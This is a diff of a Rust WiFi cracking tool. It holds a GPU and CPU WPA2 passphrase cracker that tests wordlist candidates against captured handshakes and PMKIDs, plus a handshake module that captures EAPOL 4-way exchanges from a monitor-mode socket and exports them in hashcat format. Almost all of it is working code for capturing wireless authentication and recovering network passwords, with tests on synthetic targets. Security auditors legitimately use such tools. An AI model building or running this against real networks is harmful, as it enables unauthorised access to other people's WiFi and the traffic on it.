357+ let n = inputs.len() / U32_PER_CAND_IN;
358+ if n == 0 {
359+ return Some(Vec::new());
360+ }
361+
362+ let in_bytes = (inputs.len() * 4) as u64;
363+ let out_u32 = n * U32_PER_CAND_OUT;
364+ let out_bytes = (out_u32 * 4) as u64;
365+
366+ let in_buf = self.device.create_buffer(&wgpu::BufferDescriptor {
367+ label: Some("midstates"),
368+ size: in_bytes.max(16),
369+ usage: wgpu::BufferUsages::STORAGE | wgpu::BufferUsages::COPY_DST,
370+ mapped_at_creation: false,
371+ });
372+ let out_buf = self.device.create_buffer(&wgpu::BufferDescriptor {
373+ label: Some("t1t2"),
374+ size: out_bytes.max(16),
375+ usage: wgpu::BufferUsages::STORAGE | wgpu::BufferUsages::COPY_SRC,
376+ mapped_at_creation: false,
377+ });
378+ let read_buf = self.device.create_buffer(&wgpu::BufferDescriptor {
379+ label: Some("readback"),
380+ size: out_bytes.max(16),
381+ usage: wgpu::BufferUsages::MAP_READ | wgpu::BufferUsages::COPY_DST,
382+ mapped_at_creation: false,
383+ });
384+ let param_buf = self.device.create_buffer(&wgpu::BufferDescriptor {
385+ label: Some("params"),
386+ size: 16,
387+ usage: wgpu::BufferUsages::UNIFORM | wgpu::BufferUsages::COPY_DST,
388+ mapped_at_creation: false,
389+ });
390+
391+ let flags: u32 = ITERATIONS << 1;
392+ let params: [u32; 4] = [flags, 0, 0, 0];
393+ self.queue
394+ .write_buffer(&param_buf, 0, &u32s_as_bytes(&params));
395+ let in_bytes_vec = u32s_as_bytes(inputs);
396+ self.queue.write_buffer(&in_buf, 0, &in_bytes_vec);
397+
398+ let bind_group = self.device.create_bind_group(&wgpu::BindGroupDescriptor {
399+ label: Some("pbkdf2-bg"),
400+ layout: &self.layout,
401+ entries: &[
402+ wgpu::BindGroupEntry {
403+ binding: 0,
404+ resource: param_buf.as_entire_binding(),
405+ },
406+ wgpu::BindGroupEntry {
407+ binding: 1,
408+ resource: in_buf.as_entire_binding(),
409+ },
410+ wgpu::BindGroupEntry {
411+ binding: 2,
412+ resource: out_buf.as_entire_binding(),
413+ },
414+ ],
415+ });
416+
417+ let mut encoder = self
418+ .device
419+ .create_command_encoder(&wgpu::CommandEncoderDescriptor {
420+ label: Some("pbkdf2-encoder"),
421+ });
422+ {
423+ let mut pass = encoder.begin_compute_pass(&wgpu::ComputePassDescriptor {
424+ label: Some("pbkdf2-pass"),
425+ timestamp_writes: None,
426+ });
427+ pass.set_pipeline(&self.pipeline);
428+ pass.set_bind_group(0, &bind_group, &[]);
429+ pass.dispatch_workgroups(n.div_ceil(WORKGROUP_SIZE as usize) as u32, 1, 1);
430+ }
431+ encoder.copy_buffer_to_buffer(&out_buf, 0, &read_buf, 0, out_bytes);
432+ let sub = self.queue.submit([encoder.finish()]);
433+
434+ // Wait for the shader with timeout; a hung/compute-heavy dispatch is
435+ // reported so the caller can halve the batch.
436+ let (tx, rx) = std::sync::mpsc::channel();
437+ read_buf
438+ .slice(..)
439+ .map_async(wgpu::MapMode::Read, move |res| {
440+ let _ = tx.send(res);
441+ });
442+
443+ let mut waited = Duration::ZERO;
444+ let step = Duration::from_millis(50);
445+ let limit = Duration::from_secs(30);
446+ loop {
447+ match self.device.poll(wgpu::PollType::Wait {
448+ submission_index: Some(sub.clone()),
449+ timeout: Some(step),
450+ }) {
451+ Ok(_) | Err(wgpu::PollError::Timeout) => {
452+ if let Ok(res) = rx.try_recv() {
453+ match res {
454+ Ok(()) => break,
455+ Err(e) => {
456+ tracing::warn!("map_async failed: {e}");
457+ read_buf.unmap();
458+ return None;
459+ }
460+ }
461+ }
462+ waited += step;
463+ if waited >= limit {
464+ tracing::warn!("gpu dispatch timed out after {limit:?}");
465+ return None;
466+ }
467+ }
468+ Err(e) => {
469+ tracing::warn!("device poll error: {e}");
470+ return None;
471+ }
472+ }
473+ }
474+
475+ let view = read_buf.slice(..).get_mapped_range().ok()?;
476+ let mut out = Vec::with_capacity(out_u32);
477+ for chunk in view[..(out_u32 * 4)].chunks_exact(4) {
478+ out.push(u32::from_le_bytes([chunk[0], chunk[1], chunk[2], chunk[3]]));
479+ }
480+ drop(view);
481+ read_buf.unmap();
482+ Some(out)
483+ }
484+
485+ /// Compute PMKs for a word batch. Halves the batch size once on
486+ /// device-lost/timeout; on a repeated failure returns None.
487+ fn pmk_batch_gpu(&self, words: &[Vec<u8>], salt: &[u8]) -> Option<Vec<[u8; 32]>> {
488+ let mut cur: Vec<Vec<u8>> = words.to_vec();
489+ let mut attempts = 0u8;
490+ loop {
491+ let mut inputs = Vec::with_capacity(cur.len() * U32_PER_CAND_IN);
492+ for w in &cur {
493+ inputs.extend_from_slice(&candidate_inputs(w, salt));
494+ }
495+ if let Some(out) = self.run_kernel(&inputs) {
496+ return Some(assemble_pmks(&out));
497+ }
498+ attempts += 1;
499+ if attempts > 1 || cur.len() == 1 {
500+ return None;
501+ }
502+ let half = cur.len().div_ceil(2);
503+ cur = cur[..half].to_vec();
504+ }
505+ }
506+
507+ /// Stream `words` through the GPU, calling `progress(done, hps)` once per
508+ /// dispatched batch (also when a partial final batch ran). Honors `stop`
509+ /// between batches. Returns the passphrase on MIC match.
510+ pub fn crack(
511+ &self,
512+ target: &CrackTarget,
513+ words: &mut dyn Iterator<Item = Vec<u8>>,
514+ progress: &mut dyn FnMut(u64, f64),
515+ stop: &Arc<AtomicBool>,
516+ ) -> Option<String> {
517+ if matches!(target, CrackTarget::Handshake(h) if h.eapol_m2.len() < 99) {
518+ return None;
519+ }
520+ let salt = target.essid().as_bytes();
521+ let mut done = 0u64;
522+ let started = Instant::now();
523+ let mut batch_cap = self.batch as usize;
524+
525+ loop {
526+ if stop.load(Ordering::Relaxed) {
527+ return None;
528+ }
529+ let mut batch: Vec<Vec<u8>> = Vec::with_capacity(batch_cap);
530+ while batch.len() < batch_cap {
531+ match words.next() {
532+ Some(w) => batch.push(w),
533+ None => break,
534+ }
535+ }
536+ if batch.is_empty() {
537+ return None;
538+ }
539+
540+ let pmks = self.pmk_batch_gpu(&batch, salt)?;
541+ // If the PMK batch shrunk because of a device hiccup the tail
542+ // candidates are re-attempted below; keep bookkeeping accurate by
543+ // scanning only what came back and re-queueing the rest.
544+ let checked = pmks.len();
545+ for (i, k) in pmks.iter().enumerate() {
546+ done += 1;
547+ if target_matches(target, k) {
548+ return String::from_utf8(batch[i].clone()).ok();
549+ }
550+ }
551+ let secs = started.elapsed().as_secs_f64().max(1e-6);
552+ progress(done, done as f64 / secs);
553+
554+ if checked < batch.len() {
555+ // Device hiccup path: retry the remaining words in smaller
556+ // chunks before continuing the stream.
557+ let rest = batch[checked..].to_vec();
558+ for chunk in rest.chunks(batch_cap.div_ceil(2).max(1)) {
559+ if stop.load(Ordering::Relaxed) {
560+ return None;
561+ }
562+ let pmks = self.pmk_batch_gpu(chunk, salt)?;
563+ for (i, k) in pmks.iter().enumerate() {
564+ done += 1;
565+ if target_matches(target, k) {
566+ return String::from_utf8(chunk[i].clone()).ok();
567+ }
568+ }
569+ let secs = started.elapsed().as_secs_f64().max(1e-6);
570+ progress(done, done as f64 / secs);
571+ }
572+ batch_cap = batch_cap.div_ceil(2).max(1024);
573+ }
574+ }
575+ }
576+}
577+
578+/// Little-endian byte serialization of a u32 slice for queue.write_buffer.
579+/// The kernel reads raw u32s; on this CPU (x86-64, LE) this matches memory
580+/// layout, and serializing keeps the wire format explicit for any host.
581+fn u32s_as_bytes(v: &[u32]) -> Vec<u8> {
582+ let mut out = Vec::with_capacity(v.len() * 4);
583+ for &w in v {
584+ out.extend_from_slice(&w.to_le_bytes());
585+ }
586+ out
587+}
588+
589+fn assemble_pmks(out: &[u32]) -> Vec<[u8; 32]> {
590+ let n = out.len() / U32_PER_CAND_OUT;
591+ let mut pmks = Vec::with_capacity(n);
592+ for c in 0..n {
593+ let mut pmk = [0u8; 32];
594+ let row = &out[c * U32_PER_CAND_OUT..(c + 1) * U32_PER_CAND_OUT];
595+ for i in 0..8 {
596+ pmk[i * 4..i * 4 + 4].copy_from_slice(&row[i].to_be_bytes());
597+ }
598+ pmks.push(pmk);
599+ }
600+ pmks
601+}
602+
603+/// MIC/PMKID check of one PMK against the target.
604+fn target_matches(target: &CrackTarget, k: &[u8; 32]) -> bool {
605+ match target {
606+ CrackTarget::Handshake(h) => {
607+ let dk = crypto::ptk(k, &h.ap, &h.client, &h.anonce, &h.snonce);
608+ let m = crypto::mic(&dk, &h.eapol_m2, h.key_ver);
609+ crypto::ct_eq16(&m, h.mic())
610+ }
611+ CrackTarget::Pmkid(p) => {
612+ let dig = crypto::pmkid_hash(k, &p.ap, &p.client);
613+ crypto::ct_eq16(&dig, &p.pmkid)
614+ }
615+ }
616+}
617+
618+// ---------------------------------------------------------------------------
619+// CPU cracker (reference-fallback path)
620+// ---------------------------------------------------------------------------
621+
622+/// Streaming CPU cracker with the same contract as `GpuCracker::crack`.
623+pub fn cpu_crack(
624+ target: &CrackTarget,
625+ words: &mut dyn Iterator<Item = Vec<u8>>,
626+ progress: &mut dyn FnMut(u64, f64),
627+ stop: &Arc<AtomicBool>,
628+) -> Option<String> {
629+ if matches!(target, CrackTarget::Handshake(h) if h.eapol_m2.len() < 99) {
630+ return None;
631+ }
632+ let salt = target.essid().as_bytes();
633+ let mut done = 0u64;
634+ let started = Instant::now();
635+ const CPU_BATCH: usize = 512;
636+
637+ loop {
638+ if stop.load(Ordering::Relaxed) {
639+ return None;
640+ }
641+ let mut batch: Vec<Vec<u8>> = Vec::with_capacity(CPU_BATCH);
642+ while batch.len() < CPU_BATCH {
643+ match words.next() {
644+ Some(w) => batch.push(w),
645+ None => break,
646+ }
647+ }
648+ if batch.is_empty() {
649+ return None;
650+ }
651+ for w in &batch {
652+ done += 1;
653+ let key = crypto::pmk(w, salt);
654+ if target_matches(target, &key) {
655+ return String::from_utf8(w.clone()).ok();
656+ }
657+ }
658+ let secs = started.elapsed().as_secs_f64().max(1e-6);
659+ progress(done, done as f64 / secs);
660+ }
661+}
662+
663+// ---------------------------------------------------------------------------
664+
665+#[cfg(test)]
666+mod tests {
667+ use super::*;
668+ use crate::crypto;
669+
670+ fn build_eapol_m2(key_ver: u8, snonce: &[u8; 32], replay: u64) -> Vec<u8> {
671+ let mut f = Vec::with_capacity(99);
672+ f.push(0x02);
673+ f.push(0x03);
674+ f.extend_from_slice(&95u16.to_be_bytes());
675+ f.push(0x02);
676+ let info: u16 = 0x0100 | 0x0080 | (key_ver as u16 & 0x7);
677+ f.extend_from_slice(&info.to_be_bytes());
678+ f.extend_from_slice(&16u16.to_be_bytes());
679+ f.extend_from_slice(&replay.to_be_bytes());
680+ f.extend_from_slice(snonce);
681+ f.extend_from_slice(&[0u8; 16]);
682+ f.extend_from_slice(&[0u8; 8]);
683+ f.extend_from_slice(&[0u8; 8]);
684+ f.extend_from_slice(&[0u8; 16]);
685+ f.extend_from_slice(&0u16.to_be_bytes());
686+ f
687+ }
688+
689+ fn synthetic_target(ssid: &str, pass: &[u8], key_ver: u8) -> CrackTarget {
690+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
691+ let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
692+ let anonce: [u8; 32] = [0x5a; 32];
693+ let snonce: [u8; 32] = [0xc3; 32];
694+ let key = crypto::pmk(pass, ssid.as_bytes());
695+ let dk = crypto::ptk(&key, &ap, &sta, &anonce, &snonce);
696+ let frame = build_eapol_m2(key_ver, &snonce, 1);
697+ let m = crypto::mic(&dk, &frame, key_ver);
698+ CrackTarget::Handshake(crate::common::HandshakeCapture::new(
699+ ap,
700+ sta,
701+ ssid.to_string(),
702+ anonce,
703+ snonce,
704+ m,
705+ frame,
706+ key_ver,
707+ ))
708+ }
709+
710+ #[test]
711+ fn host_midstate_matches_pbkdf2() {
712+ // candidate_inputs + pmk_via_midstates must equal crypto's
713+ // PBKDF2-HMAC-SHA1 (itself pinned to RFC 6070 + the IEEE wpa vector
714+ // in crypto::tests) for arbitrary passphrases and salts.
715+ for pass in [&b"password1"[..], b"sup3r-secret", &vec![b'x'; 63][..], b"87654321"] {
716+ for ssid in [&b"IEEE"[..], b"parafin", b"", b"long-ssid-0123456789"] {
717+ let inputs = candidate_inputs(pass, ssid);
718+ let got = pmk_via_midstates(&inputs);
719+ let mut dk = [0u8; 40];
720+ crypto::pbkdf2_hmac_sha1(pass, ssid, 4096, &mut dk);
721+ assert_eq!(&got[..], &dk[..32], "pass={pass:?} ssid={ssid:?}");
722+ }
723+ }
724+ }
725+
726+ #[test]
727+ fn gpu_available_and_pmk_matches() {
728+ let Some(crk) = GpuCracker::try_new() else {
729+ eprintln!("no GPU adapter, skipping");
730+ return;
731+ };
732+ let salt = b"parafin";
733+ let words: Vec<Vec<u8>> = (0..16)
734+ .map(|i| format!("cand{:06}", i).into_bytes())
735+ .collect();
736+ let mut inputs = Vec::new();
737+ for w in &words {
738+ inputs.extend_from_slice(&candidate_inputs(w, salt));
739+ }
740+ let out = crk.run_kernel(&inputs).expect("kernel must complete");
741+ let pmks = assemble_pmks(&out);
742+ for (w, k) in words.iter().zip(pmks.iter()) {
743+ let mut dk = [0u8; 40];
744+ crypto::pbkdf2_hmac_sha1(w, salt, 4096, &mut dk);
745+ assert_eq!(&k[..], &dk[..32], "GPU PMK mismatch for {w:?}");
746+ // Also bit-exact vs the RFC-anchored crypto::pmk.
747+ assert_eq!(k, &crypto::pmk(w, salt), "crypto::pmk mismatch for {w:?}");
748+ }
749+ }
750+
751+ #[test]
752+ fn gpu_finds_planted_pass() {
753+ let Some(crk) = GpuCracker::try_new() else {
754+ eprintln!("no GPU adapter, skipping");
755+ return;
756+ };
757+ eprintln!("gpu device: {}", crk.device_name());
758+ let pass = b"sup3r-secret";
759+ let target = synthetic_target("parafin", pass, 2);
760+
761+ const TOTAL: usize = 5000;
762+ let mut idx = 0usize;
763+ let words: Vec<Vec<u8>> = (0..TOTAL)
764+ .map(|_| {
765+ idx += 1;
766+ if idx == 3800 {
767+ pass.to_vec()
768+ } else {
769+ format!("w{:07}", idx).into_bytes()
770+ }
771+ })
772+ .collect();
773+ let mut it = words.into_iter();
774+ let stop = Arc::new(AtomicBool::new(false));
775+ let (mut last_done, mut last_hps) = (0u64, 0f64);
776+ let found = crk.crack(
777+ &target,
778+ &mut it,
779+ &mut |d, h| {
780+ last_done = d;
781+ last_hps = h;
782+ },
783+ &stop,
784+ );
785+ assert_eq!(found.as_deref(), Some("sup3r-secret"));
786+ // crack returns immediately at the match, possibly before the
787+ // batch-end progress tick, so progress may be anything ≤ 65536.
788+ assert!(last_done <= 65536, "progress reported {last_done}");
789+ assert!(last_hps >= 0.0);
790+ }
791+
792+ #[test]
793+ fn gpu_agrees_with_crypto_verify_on_synthetic() {
794+ let Some(_crk) = GpuCracker::try_new() else {
795+ eprintln!("no GPU adapter, skipping");
796+ return;
797+ };
798+ // The GPU path (kernel) for a batch containing the right pass must
799+ // identify exactly the candidates crypto::verify accepts.
800+ let crk = _crk;
801+ let pass = b"sup3r-secret";
802+ let target = synthetic_target("parafin", pass, 2);
803+ let cands: Vec<Vec<u8>> = (0..64)
804+ .map(|i| if i == 33 { pass.to_vec() } else { format!("zz{:07}", i).into_bytes() })
805+ .collect();
806+ let mut inputs = Vec::new();
807+ for w in &cands {
808+ inputs.extend_from_slice(&candidate_inputs(w, b"parafin"));
809+ }
810+ let out = crk.run_kernel(&inputs).expect("kernel");
811+ let pmks = assemble_pmks(&out);
812+ let mut hits = 0;
813+ for (w, k) in cands.iter().zip(pmks.iter()) {
814+ let gpu_hit = target_matches(&target, k);
815+ let cpu_hit = crypto::verify(&target, w);
816+ assert_eq!(gpu_hit, cpu_hit, "disagreement on {w:?}");
817+ hits += gpu_hit as usize;
818+ }
819+ assert_eq!(hits, 1);
820+ }
821+
822+ #[test]
823+ fn pmk64_benchmark_hps() {
824+ let Some(crk) = GpuCracker::try_new() else {
825+ eprintln!("no GPU adapter, skipping benchmark");
826+ return;
827+ };
828+ let hps = crk.measured_hps().expect("kernel must succeed");
829+ eprintln!(
830+ "GPU PBKDF2-WPA2 throughput on {}: {:.0} H/s",
831+ crk.device_name(),
832+ hps
833+ );
834+ assert!(hps > 1000.0, "suspiciously slow: {hps} H/s");
835+ }
836+
837+ #[test]
838+ fn cpu_crack_finds_pass() {
839+ let pass = b"sup3r-secret";
840+ let target = synthetic_target("parafin", pass, 2);
841+ let mut idx = 0usize;
842+ let words: Vec<Vec<u8>> = (0..500)
843+ .map(|_| {
844+ idx += 1;
845+ if idx == 300 { pass.to_vec() } else { format!("cpu{:07}", idx).into_bytes() }
846+ })
847+ .collect();
848+ let mut it = words.into_iter();
849+ let stop = Arc::new(AtomicBool::new(false));
850+ let found = cpu_crack(&target, &mut it, &mut |_, _| {}, &stop);
851+ assert_eq!(found.as_deref(), Some("sup3r-secret"));
852+ }
853+
854+ #[test]
855+ fn cpu_crack_pmkid() {
856+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
857+ let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
858+ let key = crypto::pmk(b"hunter2!!", b"parafin");
859+ let target = CrackTarget::Pmkid(crate::common::PmkidCapture {
860+ ap,
861+ client: sta,
862+ essid: "parafin".to_string(),
863+ pmkid: crypto::pmkid_hash(&key, &ap, &sta),
864+ });
865+ let words: Vec<Vec<u8>> = vec![b"nope-nope".to_vec(), b"hunter2!!".to_vec()];
866+ let mut it = words.into_iter();
867+ let stop = Arc::new(AtomicBool::new(false));
868+ let found = cpu_crack(&target, &mut it, &mut |_, _| {}, &stop);
869+ assert_eq!(found.as_deref(), Some("hunter2!!"));
870+ }
871+
872+ #[test]
873+ fn stop_flag_short_circuits() {
874+ let pass = b"sup3r-secret";
875+ let target = synthetic_target("parafin", pass, 2);
876+ let words: Vec<Vec<u8>> = (0..2000).map(|i| format!("zz{:07}", i).into_bytes()).collect();
877+ let mut it = words.into_iter();
878+ let stop = Arc::new(AtomicBool::new(true));
879+ assert!(cpu_crack(&target, &mut it, &mut |_, _| {}, &stop).is_none());
880+ if let Some(crk) = GpuCracker::try_new() {
881+ let words2: Vec<Vec<u8>> = (0..2000).map(|i| format!("zz{:07}", i).into_bytes()).collect();
882+ let mut it2 = words2.into_iter();
883+ assert!(crk.crack(&target, &mut it2, &mut |_, _| {}, &stop).is_none());
884+ }
885+ }
886+}
887+
src/handshake.rsmodified+576 -0
@@ -0,0 +1,576 @@
1+//! 4-way handshake tracker + hashcat-22000 export.
2+//!
3+//! A capture is crackable once we hold M1 (ANonce) and a matching M2
4+//! (SNonce + MIC) with a consistent replay counter. M3/M4 only inform
5+//! progress — they cannot substitute for the M2 pair.
6+
7+use std::collections::HashMap;
8+use std::sync::Arc;
9+use std::sync::atomic::{AtomicBool, Ordering};
10+use std::time::{Duration, Instant};
11+
12+use anyhow::{Context, Result};
13+use crossbeam_channel::Sender;
14+
15+use crate::common::{Event, HandshakeCapture, MacAddr, PmkidCapture};
16+use crate::dot11::{EapolKey, eapol_4way_msg, parse_eapol, parse_eapol_key};
17+use crate::radiotap;
18+use crate::rawsock::RawSocket;
19+
20+/// Per-(ap, sta) state older than this is dropped (replays are long dead).
21+const STATE_TTL: Duration = Duration::from_secs(120);
22+
23+/// Partial 4-way collection for one (ap, sta) pair.
24+#[derive(Default)]
25+struct PairState {
26+ m1: Option<Msg>,
27+ m2: Option<Msg>,
28+ m3: bool,
29+ m4: bool,
30+ /// Last time any message for this pair arrived.
31+ touched: Option<Instant>,
32+ /// Set once HandshakeComplete has been emitted (don't re-fire).
33+ done: bool,
34+}
35+
36+struct Msg {
37+ replay_counter: u64,
38+ nonce: [u8; 32],
39+ mic: [u8; 16],
40+ key_ver: u8,
41+ /// Full EAPOL frame starting at the version byte (M2 only needs it).
42+ raw: Vec<u8>,
43+}
44+
45+impl PairState {
46+ fn mask(&self) -> u8 {
47+ let mut m = 0u8;
48+ if self.m1.is_some() {
49+ m |= 1;
50+ }
51+ if self.m2.is_some() {
52+ m |= 1 << 1;
53+ }
54+ if self.m3 {
55+ m |= 1 << 2;
56+ }
57+ if self.m4 {
58+ m |= 1 << 3;
59+ }
60+ m
61+ }
62+}
63+
64+pub struct Tracker {
65+ pairs: HashMap<(MacAddr, MacAddr), PairState>,
66+}
67+
68+impl Default for Tracker {
69+ fn default() -> Self {
70+ Self::new()
71+ }
72+}
73+
74+impl Tracker {
75+ pub fn new() -> Self {
76+ Self {
77+ pairs: HashMap::new(),
78+ }
79+ }
80+
81+ /// Feed a parsed EAPOL-Key frame observed between `ap` and `sta`, with
82+ /// the AP's current essid (empty/unknown essid → no capture possible;
83+ /// progress is still tracked lightly for consistent state cleanup).
84+ ///
85+ /// Emits [`Event::HandshakeProgress`] on each newly collected message and
86+ /// returns `Some(capture)` exactly once when an M1+M2 pair completes.
87+ pub fn ingest(
88+ &mut self,
89+ ap: MacAddr,
90+ sta: MacAddr,
91+ essid: &str,
92+ key: &EapolKey,
93+ tx: &Sender<Event>,
94+ ) -> Option<HandshakeCapture> {
95+ // Drop long-dead pairs on traffic (keeps the map bounded).
96+ self.reap();
97+
98+ let msg_no = eapol_4way_msg(key);
99+ if msg_no == 0 {
100+ return None;
101+ }
102+
103+ let st = self.pairs.entry((ap, sta)).or_default();
104+ st.touched = Some(Instant::now());
105+ let mut emit_progress = false;
106+
107+ match msg_no {
108+ 1 => {
109+ // M1: ANonce, no MIC. Keep the newest M1 (retransmissions
110+ // bump the replay counter).
111+ st.m1 = Some(Msg {
112+ replay_counter: key.replay_counter,
113+ nonce: key.nonce,
114+ mic: key.mic,
115+ key_ver: key.key_ver,
116+ raw: key.raw.to_vec(),
117+ });
118+ emit_progress = true;
119+ }
120+ 2 => {
121+ // M2: SNonce + MIC must be nonzero to be crackable.
122+ if key.mic.iter().any(|&b| b != 0) && key.nonce.iter().any(|&b| b != 0) {
123+ st.m2 = Some(Msg {
124+ replay_counter: key.replay_counter,
125+ nonce: key.nonce,
126+ mic: key.mic,
127+ key_ver: key.key_ver,
128+ raw: key.raw.to_vec(),
129+ });
130+ emit_progress = true;
131+ }
132+ }
133+ 3 => {
134+ if !st.m3 {
135+ st.m3 = true;
136+ emit_progress = true;
137+ }
138+ }
139+ 4 => {
140+ if !st.m4 {
141+ st.m4 = true;
142+ emit_progress = true;
143+ }
144+ }
145+ _ => {}
146+ }
147+
148+ if emit_progress {
149+ let _ = tx.send(Event::HandshakeProgress {
150+ ap,
151+ client: sta,
152+ have: st.mask(),
153+ });
154+ }
155+
156+ if st.done {
157+ return None;
158+ }
159+ let (Some(m1), Some(m2)) = (&st.m1, &st.m2) else {
160+ return None;
161+ };
162+ // Replay-counter consistency: rc(M2) == rc(M1); an M1 retransmission
163+ // seen after M2 may be exactly one behind (rc(M1) == rc(M2) - 1),
164+ // both refer to the same exchange.
165+ let rc_consistent = m1.replay_counter == m2.replay_counter
166+ || m1.replay_counter + 1 == m2.replay_counter;
167+ if !rc_consistent {
168+ return None;
169+ }
170+ if essid.is_empty() {
171+ return None; // cannot crack without the salt
172+ }
173+
174+ st.done = true;
175+ Some(HandshakeCapture::new(
176+ ap,
177+ sta,
178+ essid.to_string(),
179+ m1.nonce,
180+ m2.nonce,
181+ m2.mic,
182+ m2.raw.clone(),
183+ m2.key_ver,
184+ ))
185+ }
186+
187+ /// Drop pairs untouched for longer than the replay window.
188+ fn reap(&mut self) {
189+ let now = Instant::now();
190+ self.pairs.retain(|_, st| match st.touched {
191+ Some(t) => now.duration_since(t) <= STATE_TTL,
192+ None => false,
193+ });
194+ }
195+}
196+
197+fn hex_push(out: &mut String, bytes: &[u8]) {
198+ for b in bytes {
199+ out.push_str(&format!("{b:02x}"));
200+ }
201+}
202+
203+/// hashcat -m 22000 WPA-PBKDF2 line for a handshake (message-pair type 02):
204+/// `WPA*02*mic*mac_ap*mac_client*essid*anonce*eapol_m2*00`
205+/// (EAPOL carries the MIC not-zeroed; the `00` message-pair field marks the
206+/// pair replay-verified). The `WPA*` prefix is emitted for modern hashcat.
207+pub fn handshake_hc22000(h: &HandshakeCapture) -> String {
208+ let mut s = String::from("WPA*02*");
209+ hex_push(&mut s, h.mic());
210+ s.push('*');
211+ hex_push(&mut s, &h.ap.0);
212+ s.push('*');
213+ hex_push(&mut s, &h.client.0);
214+ s.push('*');
215+ hex_push(&mut s, h.essid.as_bytes());
216+ s.push('*');
217+ hex_push(&mut s, &h.anonce);
218+ s.push('*');
219+ hex_push(&mut s, &h.eapol_m2);
220+ s.push_str("*00");
221+ s
222+}
223+
224+/// hashcat -m 22000 PMKID line (type 01):
225+/// `WPA*01*pmkid*mac_ap*mac_client*essid***`
226+pub fn pmkid_hc22000(p: &PmkidCapture) -> String {
227+ let mut s = String::from("WPA*01*");
228+ hex_push(&mut s, &p.pmkid);
229+ s.push('*');
230+ hex_push(&mut s, &p.ap.0);
231+ s.push('*');
232+ hex_push(&mut s, &p.client.0);
233+ s.push('*');
234+ hex_push(&mut s, p.essid.as_bytes());
235+ s.push_str("***");
236+ s
237+}
238+
239+/// Frame poll cadence: how long one recv call may block before the stop
240+/// flag is re-checked (250 ms per the backend contract).
241+pub const CAPTURE_POLL_MS: u32 = 250;
242+
243+/// Active 4-way capture loop against `ap`: receives frames from `sock`
244+/// (already bound to a monitor interface on the right channel), tracks
245+/// every EAPOL exchange involving `ap`, and emits
246+/// [`Event::HandshakeProgress`]/[`Event::HandshakeComplete`] through the
247+/// internal [`Tracker`]. Returns `Ok(flow)` once a crackable capture was
248+/// sent, the `stop` flag flipped, or nothing but timeouts arrived for a
249+/// long stretch — the caller reports whether a capture actually landed.
250+///
251+/// Additive helper consumed by `backend.rs`; the tracker above is
252+/// untouched.
253+pub fn capture_loop(
254+ sock: &RawSocket,
255+ ap: MacAddr,
256+ essid: &str,
257+ tx: &Sender<Event>,
258+ stop: &Arc<AtomicBool>,
259+) -> Result<bool> {
260+ sock.set_timeout(CAPTURE_POLL_MS)?;
261+ let _ = tx.send(Event::Log(format!(
262+ "handshake: listening for 4-way on {ap} ({essid})"
263+ )));
264+
265+ let mut tracker = Tracker::new();
266+ let mut buf = vec![0u8; 4096];
267+ // ~4 minutes of dead air without a single EAPOL message → give up.
268+ let idle_deadline = Instant::now() + Duration::from_secs(240);
269+
270+ loop {
271+ if stop.load(Ordering::Relaxed) {
272+ return Ok(false);
273+ }
274+ if Instant::now() >= idle_deadline {
275+ return Ok(false);
276+ }
277+ let n = match sock.recv(&mut buf) {
278+ Ok(n) => n,
279+ Err(e)
280+ if [libc::EAGAIN, libc::EWOULDBLOCK, libc::ETIMEDOUT]
281+ .contains(&e.raw_os_error().unwrap_or(0)) =>
282+ {
283+ continue;
284+ }
285+ Err(e) => return Err(e).context("handshake capture recv"),
286+ };
287+ let Some((_meta, frame)) = radiotap::strip(&buf[..n]) else {
288+ continue;
289+ };
290+ let Some((bssid, _ap_is_sender, eapol)) = parse_eapol(frame) else {
291+ continue;
292+ };
293+ if bssid != ap {
294+ continue;
295+ }
296+ let sta = crate::dot11::data_endpoints(frame)
297+ .map(|(a, b)| if a == bssid { b } else { a })
298+ .unwrap_or(MacAddr::ZERO);
299+ if sta.is_zero() || sta.is_multicast() {
300+ continue;
301+ }
302+ let Some(key) = parse_eapol_key(eapol) else {
303+ continue;
304+ };
305+ // Any relevant message renews the idle window.
306+ if let Some(cap) = tracker.ingest(ap, sta, essid, &key, tx) {
307+ let _ = tx.send(Event::HandshakeComplete(Box::new(cap)));
308+ return Ok(true);
309+ }
310+ }
311+}
312+
313+#[cfg(test)]
314+mod tests {
315+ use super::*;
316+
317+ fn ap() -> MacAddr {
318+ "aa:bb:cc:dd:ee:ff".parse().unwrap()
319+ }
320+
321+ fn sta() -> MacAddr {
322+ "11:22:33:44:55:66".parse().unwrap()
323+ }
324+
325+ const KEY_VER2: u16 = 2;
326+ const INSTALL: u16 = 1 << 6;
327+ const ACK: u16 = 1 << 7;
328+ const MIC: u16 = 1 << 8;
329+ const SECURE: u16 = 1 << 9;
330+
331+ /// Build a synthetic EAPOL-Key frame (eapol v2, type key, len 95).
332+ fn eapol_key(key_info: u16, rc: u64, nonce: [u8; 32], mic: [u8; 16]) -> Vec<u8> {
333+ let mut f = vec![2u8, 3, 0, 95]; // eapol hdr: v2, key, len=95 (desc)
334+ f.push(2); // descriptor type: RSN
335+ f.extend_from_slice(&key_info.to_be_bytes());
336+ f.extend_from_slice(&[0u8; 2]); // key length
337+ f.extend_from_slice(&rc.to_be_bytes());
338+ f.extend_from_slice(&nonce);
339+ f.extend_from_slice(&[0u8; 16]); // iv
340+ f.extend_from_slice(&[0u8; 8]); // rsc
341+ f.extend_from_slice(&[0u8; 8]); // id
342+ f.extend_from_slice(&mic);
343+ f.extend_from_slice(&[0u8; 2]); // key_data_len = 0
344+ f
345+ }
346+
347+ fn parse(bytes: &[u8]) -> EapolKey<'_> {
348+ crate::dot11::parse_eapol_key(bytes).expect("well-formed eapol")
349+ }
350+
351+ fn m1(rc: u64, anonce: [u8; 32]) -> Vec<u8> {
352+ eapol_key(KEY_VER2 | ACK, rc, anonce, [0u8; 16])
353+ }
354+
355+ fn m2(rc: u64, snonce: [u8; 32], mic: [u8; 16]) -> Vec<u8> {
356+ eapol_key(KEY_VER2 | MIC, rc, snonce, mic)
357+ }
358+
359+ fn m3(rc: u64, anonce: [u8; 32], mic: [u8; 16]) -> Vec<u8> {
360+ eapol_key(KEY_VER2 | ACK | MIC | INSTALL | SECURE, rc, anonce, mic)
361+ }
362+
363+ fn m4(rc: u64, mic: [u8; 16]) -> Vec<u8> {
364+ eapol_key(KEY_VER2 | MIC | SECURE, rc, [0u8; 32], mic)
365+ }
366+
